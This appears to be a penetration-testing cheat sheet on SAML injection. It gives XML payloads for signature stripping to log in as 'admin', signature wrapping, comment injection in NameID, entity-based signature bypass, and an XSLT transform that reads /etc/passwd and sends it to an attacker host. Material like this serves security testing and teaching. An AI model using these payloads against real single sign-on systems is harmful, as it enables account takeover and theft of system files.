# SAML Injection > Security Assertion Markup Language (SAML) is an open standard that allows security credentials to be shared by multiple computers across a network. When using SAML-based Single Sign-On (SSO), three distinct parties are involved. There is a user (the so-called principal), an IDentity Provider (IDP), and a cloud application Service Provider (SP). - centrify ## Summary * [Tools](#tools) * [Authentication Bypass](#authentication-bypass) * [Invalid Signature](#invalid-signature) * [Signature Stripping](#signature-stripping) * [XML Signature Wrapping Attacks](#xml-signature-wrapping-attacks) * [XML Comment Handling](#xml-comment-handling) * [XML External Entity](#xml-external-entity) * [Extensible Stylesheet Language Transformation](#extensible-stylesheet-language-transformation) ## Tools - [SAML Raider - Burp Extension](https://github.com/SAMLRaider/SAMLRaider) ## Authentication Bypass A SAML Response should contain the `<samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol"`. ### Invalid Signature Signatures which are not signed by a real CA are prone to cloning. Ensure the signature is signed by a real CA. If the certificate is self-signed, you may be able to clone the certificate or create your own self-signed certificate to replace it. ### Signature Stripping > [...]accepting unsigned SAML assertions is accepting a username without checking the password - @ilektrojohn The goal is to forge a well formed SAML Assertion without signing it. For some default configurations if the signature section is omitted from a SAML response, then no signature verification is performed. Example of SAML assertion where `NameID=admin` without signature. ```xml <?xml version="1.0" encoding="UTF-8"?> <saml2p:Response xmlns:saml2p="urn:oasis:names:tc:SAML:2.0:protocol" Destination="http://localhost:7001/saml2/sp/acs/post" ID="id39453084082248801717742013" IssueInstant="2018-04-22T10:28:53.593Z" Version="2.0"> <saml2:Issuer xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion" Format="urn:oasis:names:tc:SAML:2.0:nameidformat:entity">REDACTED</saml2:Issuer> <saml2p:Status xmlns:saml2p="urn:oasis:names:tc:SAML:2.0:protocol"> <saml2p:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success" /> </saml2p:Status> <saml2:Assertion xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion" ID="id3945308408248426654986295" IssueInstant="2018-04-22T10:28:53.593Z" Version="2.0"> <saml2:Issuer Format="urn:oasis:names:tc:SAML:2.0:nameid-format:entity" xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion">REDACTED</saml2:Issuer> <saml2:Subject xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion"> <saml2:NameID Format="urn:oasis:names:tc:SAML:1.1:nameidformat:unspecified">admin</saml2:NameID> <saml2:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer"> <saml2:SubjectConfirmationData NotOnOrAfter="2018-04-22T10:33:53.593Z" Recipient="http://localhost:7001/saml2/sp/acs/post" /> </saml2:SubjectConfirmation> </saml2:Subject> <saml2:Conditions NotBefore="2018-04-22T10:23:53.593Z" NotOnOrAfter="2018-0422T10:33:53.593Z" xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion"> <saml2:AudienceRestriction> <saml2:Audience>WLS_SP</saml2:Audience> </saml2:AudienceRestriction> </saml2:Conditions> <saml2:AuthnStatement AuthnInstant="2018-04-22T10:28:49.876Z" SessionIndex="id1524392933593.694282512" xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion"> <saml2:AuthnContext> <saml2:AuthnContextClassRef>urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport</saml2:AuthnContextClassRef> </saml2:AuthnContext> </saml2:AuthnStatement> </saml2:Assertion> </saml2p:Response> ``` ### XML Signature Wrapping Attacks XML Signature Wrapping (XSW) attack, some implementations check for a valid signature and match it to a valid assertion, but do not check for multiple assertions, multiple signatures, or behave differently depending on the order of assertions. - XSW1 – Applies to SAML Response messages. Add a cloned unsigned copy of the Response after the existing signature. - XSW2 – Applies to SAML Response messages. Add a cloned unsigned copy of the Response before the existing signature. - XSW3 – Applies to SAML Assertion messages. Add a cloned unsigned copy of the Assertion before the existing Assertion. - XSW4 – Applies to SAML Assertion messages. Add a cloned unsigned copy of the Assertion after the existing Assertion. - XSW5 – Applies to SAML Assertion messages. Change a value in the signed copy of the Assertion and adds a copy of the original Assertion with the signature removed at the end of the SAML message. - XSW6 – Applies to SAML Assertion messages. Change a value in the signed copy of the Assertion and adds a copy of the original Assertion with the signature removed after the original signature. - XSW7 – Applies to SAML Assertion messages. Add an “Extensions” block with a cloned unsigned assertion. - XSW8 – Applies to SAML Assertion messages. Add an “Object” block containing a copy of the original assertion with the signature removed. In the following example, these terms are used. - FA: Forged Assertion - LA: Legitimate Assertion - LAS: Signature of the Legitimate Assertion ```xml <SAMLResponse> <FA ID="evil"> <Subject>Attacker</Subject> </FA> <LA ID="legitimate"> <Subject>Legitimate User</Subject> <LAS> <Reference Reference URI="legitimate"> </Reference> </LAS> </LA> </SAMLResponse> ``` In the Github Enterprise vulnerability, this request would verify and create a sessions for `Attacker` instead of `Legitimate User`, even if `FA` is not signed. ### XML Comment Handling A threat actor who already has authenticated access into a SSO system can authenticate as another user without that individual’s SSO password. This [vulnerability](https://www.bleepstatic.com/images/news/u/986406/attacks/Vulnerabilities/SAML-flaw.png) has multiple CVE in the following libraries and products. - OneLogin - python-saml - CVE-2017-11427 - OneLogin - ruby-saml - CVE-2017-11428 - Clever - saml2-js - CVE-2017-11429 - OmniAuth-SAML - CVE-2017-11430 - Shibboleth - CVE-2018-0489 - Duo Network Gateway - CVE-2018-7340 Researchers have noticed that if an attacker inserts a comment inside the username field in such a way that it breaks the username, the attacker might gain access to a legitimate user's account. ```xml <SAMLResponse> <Issuer>https://idp.com/</Issuer> <Assertion ID="_id1234"> <Subject> <NameID>user@user.com<!--XMLCOMMENT-->.evil.com</NameID> ``` Where `user@user.com` is the first part of the username, and `.evil.com` is the second. ### XML External Entity An alternative exploitation would use `XML entities` to bypass the signature verification, since the content will not change, except during XML parsing. In the following example: - `&s;` will resolve to the string `"s"` - `&f1;` will resolve to the string `"f1"` ```xml <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE Response [ <!ENTITY s "s"> <!ENTITY f1 "f1"> ]> <saml2p:Response xmlns:saml2p="urn:oasis:names:tc:SAML:2.0:protocol" Destination="https://idptestbed/Shibboleth.sso/SAML2/POST" ID="_04cfe67e596b7449d05755049ba9ec28" InResponseTo="_dbbb85ce7ff81905a3a7b4484afb3a4b" IssueInstant="2017-12-08T15:15:56.062Z" Version="2.0"> [...] <saml2:Attribute FriendlyName="uid" Name="urn:oid:0.9.2342.19200300.100.1.1" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:uri"> <saml2:AttributeValue> &s;taf&f1; </saml2:AttributeValue> </saml2:Attribute> [...] </saml2p:Response> ``` The SAML response is accepted by the service provider. Due to the vulnerability, the service provider application reports "taf" as the value of the "uid" attribute. ### Extensible Stylesheet Language Transformation An XSLT can be carried out by using the `transform` element. ![http://sso-attacks.org/images/4/49/XSLT1.jpg](http://sso-attacks.org/images/4/49/XSLT1.jpg) Picture from [http://sso-attacks.org/XSLT_Attack](http://sso-attacks.org/XSLT_Attack) ```xml <ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#"> ... <ds:Transforms> <ds:Transform> <xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <xsl:template match="doc"> <xsl:variable name="file" select="unparsed-text('/etc/passwd')"/> <xsl:variable name="escaped" select="encode-for-uri($file)"/> <xsl:variable name="attackerUrl" select="'http://attacker.com/'"/> <xsl:variable name="exploitUrl"select="concat($attackerUrl,$escaped)"/> <xsl:value-of select="unparsed-text($exploitUrl)"/> </xsl:template> </xsl:stylesheet> </ds:Transform> </ds:Transforms> ... </ds:Signature> ``` ## References - [SAML Burp Extension - ROLAND BISCHOFBERGER - JULY 24, 2015](https://blog.compass-security.com/2015/07/saml-burp-extension/) - [The road to your codebase is paved with forged assertions - @ilektrojohn - March 13, 2017](http://www.economyofmechanism.com/github-saml) - [SAML_Security_Cheat_Sheet.md - OWASP](https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/SAML_Security_Cheat_Sheet.md) - [On Breaking SAML: Be Whoever You Want to Be - Juraj Somorovsky, Andreas Mayer, Jorg Schwenk, Marco Kampmann, and Meiko Jensen](https://www.usenix.org/system/files/conference/usenixsecurity12/sec12-final91-8-23-12.pdf) - [Making Headlines: SAML - March 19, 2018 - Torsten George](https://blog.centrify.com/saml/) - [Vulnerability Note VU#475445 - 2018-02-27 - Carnegie Mellon University](https://www.kb.cert.org/vuls/id/475445/) - [ORACLE WEBLOGIC - MULTIPLE SAML VULNERABILITIES (CVE-2018-2998/CVE-2018-2933) - Denis Andzakovic - Jul 18, 2018](https://pulsesecurity.co.nz/advisories/WebLogic-SAML-Vulnerabilities) - [Truncation of SAML Attributes in Shibboleth 2 - 2018-01-15 - redteam-pentesting.de](https://www.redteam-pentesting.de/de/advisories/rt-sa-2017-013/-truncation-of-saml-attributes-in-shibboleth-2) - [Attacking SSO: Common SAML Vulnerabilities and Ways to Find Them - March 7th, 2017 - Jem Jensen](https://blog.netspi.com/attacking-sso-common-saml-vulnerabilities-ways-find/) - [How to Hunt Bugs in SAML; a Methodology - Part I - @epi052](https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/) - [How to Hunt Bugs in SAML; a Methodology - Part II - @epi052](https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/) - [How to Hunt Bugs in SAML; a Methodology - Part III - @epi052](https://epi052.gitlab.io/notes-to-self/blog/2019-03-16-how-to-test-saml-a-methodology-part-three/)